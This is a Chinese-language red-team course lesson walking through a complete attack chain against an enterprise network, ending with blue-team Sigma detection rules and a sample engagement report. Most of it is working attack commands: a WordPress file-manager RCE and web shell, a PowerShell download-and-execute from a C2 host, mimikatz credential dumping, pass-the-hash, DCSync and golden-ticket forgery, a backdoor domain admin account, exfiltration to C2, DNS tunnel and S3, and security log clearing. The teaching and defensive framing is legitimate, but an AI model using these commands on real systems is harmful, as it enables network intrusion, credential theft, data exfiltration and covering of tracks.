课程终极挑战:从0到域控的完整攻击链
红队演练(Red Team Exercise)是模拟真实APT攻击的高级安全评估,与渗透测试不同,红队关注的是完整攻击链而非单个漏洞。MITRE ATT&CK框架是红队行动的标准参考。
| 阶段 | ATT&CK战术 | 关键行动 |
|---|---|---|
| 侦察 | TA0043 Reconnaissance | OSINT、端口扫描、社会工程 |
| 初始访问 | TA0001 Initial Access | 钓鱼、漏洞利用、供应链 |
| 执行 | TA0002 Execution | 命令执行、脚本、计划任务 |
| 持久化 | TA0003 Persistence | 后门、注册表、服务 |
| 提权 | TA0004 Privilege Escalation | 内核漏洞、SUID、令牌窃取 |
| 防御规避 | TA0005 Defense Evasion | 日志清除、进程注入、混淆 |
| 横向移动 | TA0008 Lateral Movement | Pass-the-Hash、WMI、RDP |
| 数据外传 | TA0010 Exfiltration | 加密通道、DNS隧道、云存储 |
以下是一个完整的企业网络红队演练场景,从外网到内网,从普通用户到域控管理员。所有操作均在授权环境下进行。
# 1. 被动侦察 (OSINT)
# 域名信息
whois targetcompany.com
dig targetcompany.com ANY
# 子域名枚举
subfinder -d targetcompany.com -o subdomains.txt
amass enum -d targetcompany.com
# 邮件服务器
dig MX targetcompany.com
# targetcompany.com mail is handled by 10 mail.targetcompany.com
# 员工信息 (LinkedIn/GitHub)
# 用于后续钓鱼攻击
# 2. 主动侦察
# 端口扫描
nmap -sS -sV -O -p- mail.targetcompany.com
# 25/tcp open smtp
# 443/tcp open https
# 587/tcp open smtps
nmap -sS -sV -O -p- www.targetcompany.com
# 80/tcp open http
# 443/tcp open https nginx 1.24
# Web技术栈
whatweb https://www.targetcompany.com
# nginx/1.24.0, PHP/8.2, WordPress/6.4
# 目录扫描
gobuster dir -u https://www.targetcompany.com \
-w /usr/share/seclists/Discovery/Web-Content/common.txt
# /admin (302)
# /api/v1/ (200)
# /wp-login.php (200) ← WordPress后台!
# 3. 邮箱格式发现
#hunter.io查询或通过密码重置页面确认
# 格式: firstname.lastname@targetcompany.com
# 方法1: 钓鱼邮件 (最常见)
# 使用Gophish搭建钓鱼平台
docker run -d -p 3333:3333 gophish/gophish
# 创建钓鱼邮件模板
# 主题: "紧急:IT部门密码重置通知"
# 附件: "密码重置工具.exe" (Cobalt Strike beacon)
# 方法2: WordPress漏洞利用
# 扫描WordPress漏洞
wpscan --url https://www.targetcompany.com --api-token TOKEN
# 如果发现插件漏洞:
# WP File Manager RCE (CVE-2020-25213)
curl -k "https://www.targetcompany.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" \
-F "cmd=upload" -F "target=l1_" -F "upload[]=@shell.php"
# 获取Web Shell
curl -k "https://www.targetcompany.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# 方法3: 凭据喷洒
# 使用已泄露的凭据
python3 o365spray.py --username users.txt --password passwords.txt \
--domain targetcompany.com --type spray
# 1. 建立C2通道
# 使用Cobalt Strike或Sliver
# 生成beacon
./sliver-operator_linux --name redteam
# 生成payload
generate --http https://c2.redteam.local/beacon \
--os windows --arch 64bit \
--format exe --save /tmp/beacon.exe
# 2. 上传并执行beacon
# 通过Web Shell上传
curl -k "https://www.targetcompany.com/shell.php?cmd=powershell+IEX+(New-Object+Net.WebClient).DownloadString('https://c2.redteam.local/stager.ps1')"
# 3. 信息收集
# 系统信息
sysinfo
whoami /all
net user /domain
# 网络信息
ipconfig /all
route print
netstat -an
# 4. 提权
# 检查本地提权路径
# 使用WinPEAS
winpeas.exe
# 发现: SeImpersonatePrivilege已启用
# 使用GodPotato提权
GodPotato.exe -cmd "cmd /c whoami"
# nt authority\system ← 已提权到SYSTEM!
# 5. 凭据提取
# 从内存提取
mimikatz.exe "sekurlsa::logonpasswords" "exit"
# 提取到:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# user1:1104:aad3b435b51404eeaad3b435b51404ee:e52cac67419a9a224a3b108f3fa6cb6d:::
# 1. 内网探测
# 扫描内网存活主机
# 使用Cobalt Strike内置扫描
portscan 10.0.0.0/24 445,3389,80,443
# 或使用nmap
nmap -sS -p 445,3389,88 10.0.0.0/24
# 发现:
# 10.0.0.1 - DC01 (域控制器) - 445,88,3389
# 10.0.0.10 - FS01 (文件服务器) - 445
# 10.0.0.20 - DB01 (数据库) - 1433
# 2. 横向移动到文件服务器
# Pass-the-Hash
crackmapexec smb 10.0.0.10 -u Administrator -H fc525c9683e8fe067095ba2ddc971889
# [+] 10.0.0.10:445 FS01 Pwn3d!
# 通过PsExec获取shell
impacket-psexec administrator@10.0.0.10 -hashes :fc525c9683e8fe067095ba2ddc971889
# 3. 攻击域控制器
# 方法1: DCSync (需要域管理员权限)
mimikatz.exe "lsadump::dcsync /domain:targetcompany.local /user:krbtgt" "exit"
# 获取krbtgt hash → 可伪造黄金票据
# 方法2: Kerberoasting
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt
# 破解出svc_mssql的密码: Summer2024!
# 方法3: 委派攻击
# 发现非约束委派
Get-DomainComputer -Unconstrained
# FS01$ 有非约束委派 → 可以提取任意用户的TGT!
# 4. 域控获取
# 使用DCSync获取krbtgt hash
# 伪造黄金票据
mimikatz.exe "kerberos::golden /user:Administrator /domain:targetcompany.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:NTLM_HASH /ptt" "exit"
# 验证域控访问
dir \\DC01\C$
# 完全控制!红队演练目标达成!
# 1. 隐蔽持久化
# Domain Admin后门
net user backdoor$ P@ssw0rd123! /add /domain
net group "Domain Admins" backdoor$ /add
# Golden Ticket持久化
# 即使所有密码重置,黄金票据仍然有效(直到krbtgt被改两次)
# WMI事件订阅
# (参见第25课)
# 2. 数据发现与收集
# 定位敏感数据
dir \\FS01\Shares\ /s /b | findstr /i "confidential secret password"
# 10.0.0.10\Shares\Finance\2024_预算.xlsx
# 10.0.0.10\Shares\HR\员工信息.xlsx
# 打包数据
7z a -p secure.7z \\FS01\Shares\Finance\
# 3. 数据外传
# 方法1: HTTPS (混入正常流量)
curl -X POST https://c2.redteam.local/upload -F "file=@secure.7z"
# 方法2: DNS隧道
# 使用dnscat2
ruby dnscat2.rb redteam.targetcompany.com
# 客户端: dnscat2.exe --dns server=8.8.8.8,port=53 --domain=redteam.targetcompany.com
# 方法3: 云存储
# 上传到临时AWS S3桶
aws s3 cp secure.7z s3://temp-bucket-xxx/
# 4. 清理痕迹
# 删除工具和日志
wevtutil cl Security
wevtutil cl System
del /f /q C:\temp\*
红队的价值在于验证蓝队的检测能力。以下是蓝队应该检测到的关键事件:
| 攻击阶段 | 蓝队检测点 | 关键事件ID |
|---|---|---|
| 钓鱼邮件 | 邮件网关日志、附件沙箱分析 | Exchange规则 |
| Web Shell | WAF告警、文件完整性监控 | 4663/4656 |
| 提权 | 特权使用告警、新进程创建 | 4672/4688 |
| 凭据提取 | LSASS访问检测 | 4663(进程句柄) |
| 横向移动 | 异常登录、SMB连接 | 4624/5140 |
| DCSync | DS Replication权限使用 | 4662 |
| 数据外传 | 异常网络流量、DLP告警 | 网络层检测 |
# 蓝队检测规则示例 (Sigma)
# 检测DCSync
title: DCSync Attack Detection
detection:
selection:
EventID: 4662
Properties|contains:
- 'Replicating Directory Changes'
- 'Replicating Directory Changes All'
filter_legitimate:
SubjectUserName|endswith: '$'
condition: selection and not filter_legitimate
level: critical
# 检测Golden Ticket
title: Possible Golden Ticket Usage
detection:
selection:
EventID: 4624
LogonType: 3
TargetUserName: Administrator
timeframe: 5m
condition: selection | count() > 5
level: high
# 检测Kerberoasting
title: Kerberoasting - RC4 TGS Request
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17' # RC4
filter_computer:
TargetUserName|endswith: '$'
condition: selection and not filter_computer
level: high
# 红队演练报告摘要
## 项目信息
- 客户: TargetCompany
- 时间: 2024-01-15 ~ 2024-01-26
- 范围: 全域攻击模拟
- 规则: 允许钓鱼、不允许物理入侵、不允许DoS
## 关键发现
### 成功攻击路径
1. 初始访问: WordPress插件RCE → www-data权限
2. 提权: SeImpersonatePrivilege → SYSTEM (GodPotato)
3. 凭据提取: Mimikatz → 域管NTLM hash
4. 横向移动: Pass-the-Hash → 文件服务器
5. 域控: DCSync → 黄金票据 → 完全控制
### 检测差距
- WordPress RCE: ❌ 未被检测
- 提权: ❌ 未被检测
- LSASS访问: ⚠️ 检测但未告警
- Pass-the-Hash: ❌ 未被检测
- DCSync: ✅ 检测并告警
- 数据外传: ⚠️ 部分检测
### 改进建议
1. 部署EDR替代传统AV
2. 启用 Credential Guard (防止LSASS提取)
3. 实施LAPS管理本地管理员
4. 部署网络分段(微隔离)
5. 启用高级审计策略
6. 部署SIEM进行关联分析
7. 定期红队演练(季度)
### 攻击时间线
2024-01-15 09:00 侦察开始
2024-01-16 14:30 WordPress RCE成功
2024-01-16 14:35 SYSTEM提权
2024-01-16 15:00 域管凭据提取
2024-01-17 10:00 横向移动到FS01
2024-01-18 11:00 DCSync攻击域控
2024-01-19 09:00 黄金票据+完全控制
2024-01-20 14:00 数据外传
2024-01-26 17:00 演练结束